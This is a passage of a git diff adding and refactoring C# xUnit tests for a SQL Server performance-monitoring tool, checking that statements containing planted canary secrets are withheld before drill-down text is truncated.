 public sealed class StandalonePlanViewerPlusTabTests
 {
     private const string PlusTag = "__PLAN_ADD_TAB__";
@@ -55,7 +56,7 @@ public sealed class StandalonePlanViewerPlusTabTests
     [Fact]
     public void UiaSelectOnPlus_FocusThenSelect_AddsExactlyOneSubTab_AndSelectsIt()
     {
-        OnStaThread(rig =>
+        OnRig(rig =>
         {
             var before = rig.SubTabCount;
 
@@ -74,7 +75,7 @@ public void UiaSelectOnPlus_FocusThenSelect_AddsExactlyOneSubTab_AndSelectsIt()
     [Fact]
     public void UiaSelectOnPlus_SelectThenFocus_AddsExactlyOneSubTab()
     {
-        OnStaThread(rig =>
+        OnRig(rig =>
         {
             var before = rig.SubTabCount;
 
@@ -92,7 +93,7 @@ public void UiaSelectOnPlus_SelectThenFocus_AddsExactlyOneSubTab()
     [Fact]
     public void UiaSelectAlone_AddsExactlyOneSubTab_AndSelectsIt()
     {
-        OnStaThread(rig =>
+        OnRig(rig =>
         {
             var before = rig.SubTabCount;
 
@@ -111,7 +112,7 @@ public void UiaSelectAlone_AddsExactlyOneSubTab_AndSelectsIt()
     [InlineData("SelectedItem")]
     public void MouseStyleSelectionOfPlus_AddsExactlyOneSubTab(string how)
     {
-        OnStaThread(rig =>
+        OnRig(rig =>
         {
             var before = rig.SubTabCount;
 
@@ -138,7 +139,7 @@ public void MouseStyleSelectionOfPlus_AddsExactlyOneSubTab(string how)
     [InlineData("uia")]
     public void TwoSeparateSelectionsOfPlus_AddTwoSubTabs(string how)
     {
-        OnStaThread(rig =>
+        OnRig(rig =>
         {
             var before = rig.SubTabCount;
 
@@ -168,7 +169,7 @@ public void TwoSeparateSelectionsOfPlus_AddTwoSubTabs(string how)
     [Fact]
     public void SelectingPlusAfterTheJustAddedTabWasClosed_NeverSelectsTheClosedTab()
     {
-        OnStaThread(rig =>
+        OnRig(rig =>
         {
             var before = rig.SubTabCount;
 
@@ -281,35 +282,7 @@ public void UiaSelect(TabItem tab)
         }
     }
 
-    /// <summary>WPF objects need STA and a dispatcher. Bounded, so a wedged frame fails the test instead of
-    /// hanging the suite; the dispatcher is shut down so nothing leaks between tests.</summary>
-    private static void OnStaThread(Action<Rig> body)
-    {
-        Exception? error = null;
-        var thread = new Thread(() =>
-        {
-            try
-            {
-                body(Rig.Create());
-            }
-            catch (Exception ex)
-            {
-                error = ex;
-            }
-            finally
-            {
-                Dispatcher.CurrentDispatcher.InvokeShutdown();
-            }
-        });
-        thread.SetApartmentState(ApartmentState.STA);
-        thread.IsBackground = true;
-        thread.Start();
-
-        Assert.True(thread.Join(TimeSpan.FromSeconds(60)), "the STA thread did not finish within 60 s.");
-
-        if (error is not null)
-        {
-            throw error;
-        }
-    }
+    /// <summary>WPF objects need STA and a dispatcher: the body runs on the shared STA test thread (#5602), which bounds a wedged frame
+    /// and drains the dispatcher afterwards, so nothing leaks between tests. The rig is built on that thread.</summary>
+    private static void OnRig(Action<Rig> body) => StaTestThread.Run(() => body(Rig.Create()));
 }
diff --git a/Lite.Tests/StatementAnalysisReadCutTests.cs b/Lite.Tests/StatementAnalysisReadCutTests.cs
new file mode 100644
index 0000000000..1cc6f14a67
--- /dev/null
+++ b/Lite.Tests/StatementAnalysisReadCutTests.cs
@@ -0,0 +1,156 @@
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Analysis;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5320: Lite's analysis readers return the WHOLE statement, the statement filter judges it, and the cut comes after.
+/// Each case plants a batch whose named value (a URI's <c>user:secret@</c>) sits inside the cut and whose naming
+/// at-sign sits past it, so a reader that cuts in SQL first hands the filter a prefix that reads clean and the answer
+/// holds the start of the secret. A plain statement past the cut is cut exactly as before. Blocking (top chains,
+/// reconstructed chains, deadlocks), the same-statement pileup read and the long-running-query alert read.
+/// </summary>
+public class StatementAnalysisReadCutTests : IClassFixture<SharedDuckDbFixture>
+{
+    private const int ServerId = -5320_77;
+    private readonly DuckDbInitializer _duckDb;
+    private long _nextId = -1;
+
+    /// <summary>A plain statement of 700 characters: kept as the first 500 and nothing more.</summary>
+    private static readonly string Plain = "SELECT plain_ssf " + new string('x', 683);
+
+    public StatementAnalysisReadCutTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    private async Task ExecAsync(string sql, params object?[] args)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        using var conn = _duckDb.CreateConnection();
+        await conn.OpenAsync();
+        using var cmd = conn.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var arg in args)
+            cmd.Parameters.Add(new DuckDBParameter { Value = arg ?? DBNull.Value });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private static DateTime Now => DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+
+    private AnalysisContext Context() => new()
+    {
+        ServerId = ServerId,
+        ServerName = "TestServer",
+        TimeRangeStart = Now.AddHours(-4),
+        TimeRangeEnd = Now.AddMinutes(1),
+    };
+
+    private async Task<JsonElement> DrillAsync(string factKey, string section)
+    {
+        var finding = new AnalysisFinding { RootFactKey = factKey, StoryPath = factKey, PathKeys = [factKey], Severity = 1.0 };
+        await new DrillDownCollector(_duckDb).EnrichFindingsAsync([finding], Context());
+        Assert.NotNull(finding.DrillDown);
+        return JsonSerializer.SerializeToElement(finding.DrillDown[section]);
+    }
+
+    private static void AssertNamedWithheldAndPlainCutAtFiveHundred(string section, string json)
+    {
+        var shown = section + ": " + json[..Math.Min(json.Length, 400)];
+        Assert.True(!json.Contains(StatementScrubCanary.UriSecretPartial, StringComparison.Ordinal), "secret prefix kept in " + shown);
+        Assert.True(json.Contains(SensitiveStatements.PlaceholderText, StringComparison.Ordinal), "no placeholder in " + shown);
+        Assert.True(json.Contains(Plain[..500], StringComparison.Ordinal), "plain statement not kept to 500 in " + shown);
+        Assert.True(!json.Contains(Plain[..501], StringComparison.Ordinal), "plain statement kept past 500 in " + shown);
+    }
+
+    [Fact]
+    public async Task BlockingReaders_JudgeTheWholeStatement_ThenCutAtFiveHundred()
+    {
+        var at = Now.AddMinutes(-30);
+        await ExecAsync(@"
+INSERT INTO blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time, database_name,
+    blocked_spid, blocking_spid, wait_time_ms, lock_mode, blocked_sql_text, blocking_sql_text)
+VALUES ($1, $2, $3, 'TestServer', $2, 'UriDb', 71, 60, 12000, 'X', $4, $5)",
+            _nextId--, at, ServerId, StatementScrubCanary.UriStatement(500), Plain);
+        await ExecAsync(@"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml, database_name)
+VALUES ($1, $2, $3, 'TestServer', $2, 'process1', $4, '<deadlock-list/>', 'UriDb'), ($5, $7, $3, 'TestServer', $7, 'process2', $6, '<deadlock-list/>', 'UriDb')",
+            _nextId--, at, ServerId, StatementScrubCanary.UriStatement(500), _nextId--, Plain, at.AddMinutes(1));
+
+        AssertNamedWithheldAndPlainCutAtFiveHundred("top_blocking_chains", (await DrillAsync("BLOCKING_EVENTS", "top_blocking_chains")).GetRawText());
+        AssertNamedWithheldAndPlainCutAtFiveHundred("reconstructed_blocking_chains", (await DrillAsync("BLOCKING_CHAIN", "reconstructed_blocking_chains")).GetRawText());
+        AssertNamedWithheldAndPlainCutAtFiveHundred("top_deadlocks", (await DrillAsync("DEADLOCKS", "top_deadlocks")).GetRawText());
+    }
+
+    [Fact]
+    public async Task PileupRead_KeepsTheRawCutForIdentity_AndPrintsTheJudgedPreview()
+    {
+        await ExecAsync(@"
+INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status, total_elapsed_time_ms)
+VALUES ($1, $2, $3, 'TestServer', 71, 'UriDb', $4, 'running', 90000), ($5, $2, $3, 'TestServer', 72, 'UriDb', $6, 'running', 90000)",
+            _nextId--, Now.AddMinutes(-2), ServerId, StatementScrubCanary.UriStatement(1500), _nextId--, "SELECT plain_ssf " + new string('x', 2000));
+
+        var rows = await new PileupSnapshotReader(_duckDb).ReadWindowAsync(ServerId, Now.AddHours(-1), CancellationToken.None);
+
+        var named = rows.Single(r => r.SessionId == 71);
+        /* The raw cut is what the SQL cut left: only hashed or searched, never printed. The text a finding prints is judged whole. */
+        Assert.Equal(1500, named.QueryText!.Length);
+        Assert.Contains(StatementScrubCanary.UriSecretPartial, named.QueryText, StringComparison.Ordinal);
+        Assert.Equal(SensitiveStatements.PlaceholderText, named.PreviewText);
+
+        var plain = rows.Single(r => r.SessionId == 72);
+        Assert.Equal(1500, plain.QueryText!.Length);
+        Assert.Equal(plain.QueryText, plain.PreviewText);
+    }
+
+    [Fact]
+    public async Task LongRunningQueryAlertRead_JudgesTheWholeStatement_ThenCutsAtThreeHundred()
+    {
+        await ExecAsync(@"
+INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status, total_elapsed_time_ms, cpu_time_ms, reads, writes, wait_type)
+VALUES ($1, $2, $3, 'TestServer', 71, 'UriDb', $4, 'running', 900000, 1, 1, 0, 'CXPACKET'), ($5, $2, $3, 'TestServer', 72, 'UriDb', $6, 'running', 800000, 1, 1, 0, 'CXPACKET')",
+            _nextId--, Now.AddMinutes(-1), ServerId, StatementScrubCanary.UriStatement(300), _nextId--, "SELECT plain_ssf " + new string('x', 483));
+
+        var read = await new LocalDataService(_duckDb).GetLongRunningQueriesAsync(ServerId, thresholdMinutes: 5, maxResults: 5);
+
+        var named = read.Sessions.Single(q => q.SessionId == 71).QueryText;
+        Assert.DoesNotContain(StatementScrubCanary.UriSecretPartial, named, StringComparison.Ordinal);
+        Assert.Contains(SensitiveStatements.PlaceholderText, named, StringComparison.Ordinal);
+        Assert.Equal(300, read.Sessions.Single(q => q.SessionId == 72).QueryText.Length);
+    }
+
+    [Fact]
+    public void LiteReaders_CutNoStatementTextInSql()
+    {
+        foreach (var file in new[]
+        {
+            "Lite/Analysis/DrillDownCollector.Blocking.cs", "Lite/Analysis/PileupSnapshotReader.cs",
+            "Lite/Analysis/DuckDbFactCollector.Activity.cs", "Lite/Services/LocalDataService.WaitStats.cs",
+        })
+        {
+            var source = File.ReadAllText(Path.Combine(RepoRoot(), file));
+            Assert.DoesNotMatch(@"(?i)\b(LEFT|SUBSTRING|substr)\s*\(\s*(MAX\(\s*)?(r\.)?(query_text|blocked_sql_text|blocking_sql_text|victim_sql_text)\b", source);
+        }
+    }
+
+    private static string RepoRoot()
+    {
+        var dir = new DirectoryInfo(AppContext.BaseDirectory);
+        while (dir != null && !Directory.Exists(Path.Combine(dir.FullName, "Lite", "Analysis")))
+            dir = dir.Parent;
+        return dir?.FullName ?? throw new InvalidOperationException("repo root not found");
+    }
+}
diff --git a/Lite.Tests/StatementDrillDownTextFetchTests.cs b/Lite.Tests/StatementDrillDownTextFetchTests.cs
new file mode 100644
index 0000000000..331f5e64a4
--- /dev/null
+++ b/Lite.Tests/StatementDrillDownTextFetchTests.cs
@@ -0,0 +1,247 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Darling.Tests;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Analysis;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5361: Lite's reconstructed-chain drill-down reads its 5,000 pair-rows WITHOUT statement text and fetches the whole text
+/// of only the levels it shows, by event key, from the source each level's row came from; the parameter-sensitive
+/// drill-down ranks plans without text and reads the whole text of the five it keeps. What each prints must be what it
+/// printed when the read carried the whole text. The chain oracle is the old flow run on the same rows (text restored in
+/// the pair read, whole-text DMV append, same reconstruction, same judge-then-cut); the plan expectation is the newest
+/// row's seeded text. The seeds repeat an edge with different text per row, mix both sources, and include a plain
+/// statement past the cut, a named statement the filter withholds, an astral character at the cut, a NULL text and a NULL ecid.
+/// </summary>
+public class StatementDrillDownTextFetchTests : IClassFixture<SharedDuckDbFixture>
+{
+    private const int ServerId = -5361_77;
+    private readonly DuckDbInitializer _duckDb;
+    private long _nextId = -1;
+
+    private static readonly string Plain = "SELECT plain_ssf " + new string('x', 683);
+    private static readonly string AstralAtCut = new string('a', 499) + "\U0001F600" + new string('b', 100);
+
+    public StatementDrillDownTextFetchTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    private static DateTime Now => DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+
+    private async Task ExecAsync(string sql, params object?[] args)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        using var conn = _duckDb.CreateConnection();
+        await conn.OpenAsync();
+        using var cmd = conn.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var arg in args)
+            cmd.Parameters.Add(new DuckDBParameter { Value = arg ?? DBNull.Value });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private Task InsertBprAsync(DateTime at, int blocked, int blocking, long waitMs, string? blockedText, string? blockingText,
+        int? blockedEcid = 0, int? blockingEcid = 0) =>
+        ExecAsync(@"
+INSERT INTO blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time, database_name,
+    blocked_spid, blocking_spid, wait_time_ms, lock_mode, blocked_sql_text, blocking_sql_text, blocked_ecid, blocking_ecid, monitor_loop)
+VALUES ($1, $2, $3, 'TestServer', $2, 'FetchDb', $4, $5, $6, 'X', $7, $8, $9, $10, 7)",
+            _nextId--, at, ServerId, blocked, blocking, waitMs, blockedText, blockingText, blockedEcid, blockingEcid);
+
+    private Task InsertDmvAsync(DateTime at, int blocked, int blocking, long waitMs, string? blockedText, string? blockingText) =>
+        ExecAsync(@"
+INSERT INTO dmv_blocking_snapshots (collection_id, collection_time, server_id, server_name, event_time, database_name,
+    blocked_spid, blocking_spid, wait_time_ms, blocking_status, blocked_sql_text, blocking_sql_text, blocked_ecid, blocking_ecid, monitor_loop)
+VALUES ($1, $2, $3, 'TestServer', $2, 'FetchDb', $4, $5, $6, 'sleeping', $7, $8, 0, 0, -1)",
+            _nextId--, at, ServerId, blocked, blocking, waitMs, blockedText, blockingText);
+
+    private AnalysisContext Context() => new()
+    {
+        ServerId = ServerId,
+        ServerName = "TestServer",
+        TimeRangeStart = Now.AddHours(-4),
+        TimeRangeEnd = Now.AddMinutes(1),
+    };
+
+    private async Task<string> ShippedAsync(string factKey, string section, AnalysisContext context)
+    {
+        var finding = new AnalysisFinding { RootFactKey = factKey, StoryPath = factKey, PathKeys = [factKey], Severity = 1.0 };
+        await new DrillDownCollector(_duckDb).EnrichFindingsAsync([finding], context);
+        Assert.NotNull(finding.DrillDown);
+        return JsonSerializer.Serialize(finding.DrillDown![section]);
+    }
+
+    /// <summary>The flow before #5361 on the same store: whole text in every pair-row.</summary>
+    private async Task<string> OracleChainsAsync(AnalysisContext context)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = $@"
+SELECT
+    {BlockingPairRowQuery.LeadingColumns},
+    blocked_sql_text AS blocked_sql,
+    blocking_sql_text AS blocking_sql,
+    {BlockingPairRowQuery.IdentityColumns},
+    contentious_object,
+    {BlockingPairRowQuery.TrailingIdentityColumns}
+FROM {StoredEventCopies.BlockedProcessReports("server_id = $1 AND event_time >= $2 AND event_time <= $3 " + BlockingPairRowQuery.SpidFilter)} AS ev
+ORDER BY event_time DESC
+LIMIT 5000";
+        cmd.Parameters.Add(new DuckDBParameter { Value = context.ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = context.TimeRangeStart });
+        cmd.Parameters.Add(new DuckDBParameter { Value = context.TimeRangeEnd });
+        var rows = new List<BlockingPairRow>();
+        using (var reader = await cmd.ExecuteReaderAsync())
+        {
+            while (await reader.ReadAsync())
+                rows.Add(BlockingPairRowQuery.Read(reader));
+        }
+
+        await BlockingPairRowQuery.AppendDmvSnapshotRowsAsync(
+            connection.CreateCommand, rows, context.ServerId, context.TimeRangeStart, context.TimeRangeEnd,
+            default, includeText: true);
+        Assert.Contains(rows, r => r.BlockedSqlText.Length > 0);
+
+        var reconstruction = BlockingChainReconstructor.Reconstruct(
+            rows, maxDepth: 50, maxPairs: 5000, stepBudget: 100_000, scopeByMonitorLoop: false);
+        return JsonSerializer.Serialize(reconstruction.Chains.Take(3).Select(chain => (object)new
+        {
+            apex_spid = chain.ApexSpid,
+            apex_sleeping = chain.ApexSleeping,
+            depth = chain.Depth,
+            victim_count = chain.VictimCount,
+            max_wait_ms = chain.MaxWaitMs,
+            levels = chain.Levels.Select(l => new
+            {
+                level = l.Level,
+                blocking_spid = l.BlockingSpid,
+                blocked_spid = l.BlockedSpid,
+                lock_mode = l.LockMode,
+                wait_time_ms = l.WaitTimeMs,
+                blocking_sql = McpHelpers.StatementPreview(l.BlockingSqlText, DrillDownCollector.StatementPreviewLength),
+                blocked_sql = McpHelpers.StatementPreview(l.BlockedSqlText, DrillDownCollector.StatementPreviewLength)
+            }).ToList()
+        }).ToList());
+    }
+
+    [Fact]
+    public async Task ReconstructedChains_PrintTheSameLevelsAndText_AsTheWholeTextPairRead_FromBothSources()
+    {
+        var context = Context();
+        var t0 = new DateTime(context.TimeRangeStart.AddMinutes(30).Ticks / TimeSpan.TicksPerMinute * TimeSpan.TicksPerMinute, DateTimeKind.Unspecified);
+        var named = StatementScrubCanary.UriStatement(500);
+
+        /* Chain A, blocked-process reports: 60 -> 71 -> 72 -> 73 (+ 74 with NULL ecids). The edge 60 -> 71 repeats with
+           different text per row; the longest wait (the newer of the two 12,000 rows) is the row the chain keeps. */
+        await InsertBprAsync(t0.AddSeconds(1), 71, 60, 5_000, "SELECT older_a1", "SELECT older_b1");
+        await InsertBprAsync(t0.AddSeconds(2), 71, 60, 12_000, named, Plain);
+        await InsertBprAsync(t0.AddSeconds(3), 71, 60, 12_000, AstralAtCut, AstralAtCut + "tail");
+        await InsertBprAsync(t0.AddSeconds(4), 72, 71, 3_000, "SELECT long_" + new string('y', 2_000), "SELECT blocking_72");
+        await InsertBprAsync(t0.AddSeconds(5), 73, 72, 2_000, null, "");
+        await InsertBprAsync(t0.AddSeconds(6), 74, 72, 1_000, "SELECT null_ecid", "SELECT null_ecid_blocker", null, null);
+
+        /* Chain B, DMV snapshots only: 80 -> 81 -> 82. */
+        await InsertDmvAsync(t0.AddMinutes(5).AddSeconds(1), 81, 80, 4_000, "SELECT dmv_old", "SELECT dmv_old_blocker");
+        await InsertDmvAsync(t0.AddMinutes(5).AddSeconds(30), 81, 80, 9_000, named, Plain);
+        await InsertDmvAsync(t0.AddMinutes(5).AddSeconds(31), 82, 81, 2_500, "SELECT dmv_82", AstralAtCut);
+
+        /* Chain C: an edge both sources hold in one minute: the report wins, so the report's text is printed. */
+        await InsertBprAsync(t0.AddMinutes(10).AddSeconds(5), 91, 90, 6_000, "SELECT from_report", "SELECT from_report_blocker");
+        await InsertDmvAsync(t0.AddMinutes(10).AddSeconds(25), 91, 90, 7_000, "SELECT from_snapshot", "SELECT from_snapshot_blocker");
+
+        var oracle = await OracleChainsAsync(context);
+        var shipped = await ShippedAsync("BLOCKING_CHAIN", "reconstructed_blocking_chains", context);
+
+        Assert.Equal(oracle, shipped);
+        Assert.Equal(3, JsonSerializer.Deserialize<JsonElement>(shipped).GetArrayLength());
+        Assert.Contains(SensitiveStatements.PlaceholderText, shipped, StringComparison.Ordinal);
+        Assert.DoesNotContain(StatementScrubCanary.UriSecretPartial, shipped, StringComparison.Ordinal);
+        Assert.Contains(Plain[..500], shipped, StringComparison.Ordinal);
+        Assert.DoesNotContain(Plain[..501], shipped, StringComparison.Ordinal);
+        Assert.Contains("SELECT dmv_82", shipped, StringComparison.Ordinal);
+        Assert.Contains("SELECT from_report", shipped, StringComparison.Ordinal);
+        Assert.DoesNotContain("SELECT from_snapshot", shipped, StringComparison.Ordinal);
+        Assert.DoesNotContain("SELECT older_a1", shipped, StringComparison.Ordinal);
+        Assert.Contains("SELECT null_ecid", shipped, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ParameterSensitivePlans_PrintTheNewestRowsText_AndAWithheldPlanStillPrintsTheMarker()
+    {
+        var context = Context();
+        var named = StatementScrubCanary.UriStatement(500);
+        var compiledBeforeWindow = context.TimeRangeStart.AddDays(-2);
+
+        /* plan: (database, query hash, plan hash, newest text, older text). Two plans share one query hash. */
+        var plans = new (string? Db, string Hash, string PlanHash, string? Newest, string? Older)[]
+        {
+            ("FetchDb", "0xQH_SAME", "0xPH_0", Plain, "SELECT older_0"),
+            ("FetchDb", "0xQH_SAME", "0xPH_1", named, "SELECT older_1"),
+            (null, "0xQH_2", "0xPH_2", AstralAtCut, null),
+            ("FetchDb", "0xQH_3", "0xPH_3", "", "SELECT older_3"),
+            ("FetchDb", "0xQH_4", "0xPH_4", null, "SELECT older_4"),
+            ("FetchDb", "0xQH_5", "0xPH_5", "SELECT beyond_the_cap_5", null),
+        };
+
+        for (var p = 0; p < plans.Length; p++)
+        {
+            var plan = plans[p];
+            for (var snapshot = 0; snapshot < 3; snapshot++)
+            {
+                var newest = snapshot == 2;
+                var text = newest ? plan.Newest : (plan.Older is null ? null : plan.Older + " snapshot " + snapshot);
+                await ExecAsync(@"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash,
+     creation_time, execution_count, min_worker_time, max_worker_time, min_grant_kb, max_grant_kb,
+     min_spills, max_spills, query_text, delta_execution_count)
+VALUES ($1, $2, $3, 'TestServer', $4, $5, $6, $7, $8, 20000, $9, 1024, 2048, 0, 0, $10, 25)",
+                    _nextId--, context.TimeRangeStart.AddMinutes(30 + (snapshot * 60)), ServerId, plan.Db, plan.Hash, plan.PlanHash,
+                    compiledBeforeWindow, 500L + snapshot, 20_000L * (60 - p), text);
+            }
+        }
+
+        var shipped = JsonSerializer.Deserialize<JsonElement>(await ShippedAsync("PARAMETER_SENSITIVITY", "parameter_sensitive_queries", context))
+            .EnumerateArray().ToList();
+
+        /* The five highest spreads print, in rank order, each with the NEWEST row's text judged and cut; a plan whose newest
+           row has no text prints empty text, and the sixth plan is past the cap. */
+        Assert.Equal(5, shipped.Count);
+        var expected = new[]
+        {
+            McpHelpers.StatementPreview(Plain, 500),
+            McpHelpers.StatementPreview(named, 500),
+            McpHelpers.StatementPreview(AstralAtCut, 500),
+            McpHelpers.StatementPreview("", 500),
+            "",
+        };
+        for (var i = 0; i < 5; i++)
+        {
+            Assert.Equal(plans[i].PlanHash, shipped[i].GetProperty("query_plan_hash").GetString());
+            Assert.Equal(plans[i].Db ?? "", shipped[i].GetProperty("database").GetString());
+            Assert.Equal(expected[i], shipped[i].GetProperty("query_text").GetString());
+        }
+
+        var all = shipped.Select(s => s.GetRawText()).Aggregate((a, b) => a + b);
+        Assert.Contains(SensitiveStatements.PlaceholderText, all, StringComparison.Ordinal);
+        Assert.DoesNotContain(StatementScrubCanary.UriSecretPartial, all, StringComparison.Ordinal);
+        Assert.DoesNotContain("older_", all, StringComparison.Ordinal);
+        Assert.DoesNotContain("beyond_the_cap", all, StringComparison.Ordinal);
+        Assert.Equal(Plain[..500], expected[0]);
+    }
+}
diff --git a/Lite.Tests/StatementFilterDrillDownWarningsTests.cs b/Lite.Tests/StatementFilterDrillDownWarningsTests.cs
new file mode 100644
index 0000000000..f90f5e8dcd
--- /dev/null
+++ b/Lite.Tests/StatementFilterDrillDownWarningsTests.cs
@@ -0,0 +1,156 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Net;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitorLite.Analysis;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #4348, L8b: Lite's drill-down plan warnings quote up to 300 characters of a predicate from the plan they analyzed.
+/// <see cref="DrillDownCollector"/> judges the plan BEFORE it is analyzed at both of its plan reads: the live fetch
+/// (<c>CollectPlanAnalysis</c>, a BAD_ACTOR finding) and the stored-plan read (<c>CollectPlanAdvisoryDetail</c>, a
+/// PLAN_WARNING finding). A predicate that belongs to a withheld statement must be withheld with it, while the warning
+/// for a statement that is kept still quotes its predicate. The Darling twin is
+/// <c>StatementFilterDrillDownWarningsLiveTests</c>.
+///
+/// <para>Real DuckDB (the shared fixture, one seeded <c>query_stats</c> row) because the stored-plan site reads the
+/// plan through <c>v_query_stats</c>; the live site gets its plan from a fake <see cref="IPlanFetcher"/>.</para>
+/// </summary>
+public sealed class StatementFilterDrillDownWarningsTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const int ServerId = 453_202;
+    private const string ServerName = "SsfLiteDrillDownSrv";
+    private const string Hash = "0xSSF0LITEDRILL";
+    private const string PlanHandle = "0x05SSF0LITEHANDLE";
+
+    private static readonly DateTime WindowEnd = DateTime.SpecifyKind(
+        new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond), DateTimeKind.Unspecified);
+
+    private readonly DuckDbInitializer _duckDb;
+    private DuckDBConnection? _seedConn;
+
+    public StatementFilterDrillDownWarningsTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    public void Dispose() => _seedConn?.Dispose();
+
+    private static string Statement(string text, string predicate, string constant) =>
+        "<StmtSimple StatementText=\"" + WebUtility.HtmlEncode(text) + "\" StatementId=\"1\" StatementCompId=\"1\" StatementType=\"SELECT\" "
+        + "StatementSubTreeCost=\"5\" StatementOptmLevel=\"FULL\"><QueryPlan CachedPlanSize=\"16\" CompileTime=\"1\" CompileCPU=\"1\" CompileMemory=\"104\">"
+        + "<RelOp NodeId=\"0\" PhysicalOp=\"Table Scan\" LogicalOp=\"Table Scan\" EstimateRows=\"100\" EstimateIO=\"1\" EstimateCPU=\"0.1\" AvgRowSize=\"9\" "
+        + "EstimatedTotalSubtreeCost=\"5\" TableCardinality=\"100\" Parallel=\"0\" EstimateRebinds=\"0\" EstimateRewinds=\"0\" EstimatedExecutionMode=\"Row\">"
+        + "<OutputList/><TableScan Ordered=\"0\" ForcedIndex=\"0\" ForceScan=\"0\" NoExpandHint=\"0\" Storage=\"RowStore\"><DefinedValues/>"
+        + "<Object Database=\"[db]\" Schema=\"[dbo]\" Table=\"[t]\" IndexKind=\"Heap\" Storage=\"RowStore\"/>"
+        + "<Predicate><ScalarOperator ScalarString=\"" + WebUtility.HtmlEncode(predicate) + "\"><Const ConstValue=\"" + constant + "\"/></ScalarOperator></Predicate>"
+        + "</TableScan></RelOp></QueryPlan></StmtSimple>";
+
+    private static string TwoStatementPlan() =>
+        "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\" Version=\"1.564\" Build=\"16.0.4215.2\">"
+        + "<BatchSequence><Batch><Statements>"
+        + Statement(StatementScrubCanary.CanaryStatement, "upper([db].[dbo].[t].[c])=N'const-secret-ssf'", "N'const-secret-ssf'")
+        + Statement(StatementScrubCanary.PlainStatement, "upper([db].[dbo].[t].[c])=N'kept-predicate-ssf'", "N'kept-predicate-ssf'")
+        + "</Statements></Batch></BatchSequence></ShowPlanXML>";
+
+    private sealed class FakePlanFetcher(string planXml) : IPlanFetcher
+    {
+        public Task<string?> FetchPlanXmlAsync(int serverId, string planHandle, CancellationToken cancellationToken) =>
+            Task.FromResult<string?>(planXml);
+    }
+
+    private static AnalysisContext Context() => new()
+    {
+        ServerId = ServerId,
+        ServerName = ServerName,
+        TimeRangeStart = WindowEnd.AddHours(-4),
+        TimeRangeEnd = WindowEnd,
+    };
+
+    [Fact]
+    public async Task LiveFetch_APredicateQuotedInAPlanWarning_IsWithheldWithItsStatement_AndKeptWithAKeptOne()
+    {
+        await SeedAsync(planXml: null);
+        var finding = Finding("BAD_ACTOR_" + Hash);
+
+        await new DrillDownCollector(_duckDb, new FakePlanFetcher(TwoStatementPlan())).EnrichFindingsAsync([finding], Context());
+
+        AssertWarningsFiltered(finding, "plan_analysis");
+    }
+
+    [Fact]
+    public async Task StoredPlanRead_APredicateQuotedInAPlanWarning_IsWithheldWithItsStatement_AndKeptWithAKeptOne()
+    {
+        await SeedAsync(planXml: TwoStatementPlan());
+        var finding = Finding("PLAN_WARNING");
+
+        await new DrillDownCollector(_duckDb).EnrichFindingsAsync([finding], Context());
+
+        AssertWarningsFiltered(finding, "plan_warnings");
+    }
+
+    private static AnalysisFinding Finding(string factKey) => new()
+    {
+        RootFactKey = factKey,
+        StoryPath = factKey,
+        PathKeys = [factKey],
+        Severity = 1.0,
+    };
+
+    private static void AssertWarningsFiltered(AnalysisFinding finding, string section)
+    {
+        Assert.NotNull(finding.DrillDown);
+        Assert.True(finding.DrillDown.TryGetValue(section, out var raw), $"{section} was not collected");
+        var text = JsonSerializer.Serialize(raw);
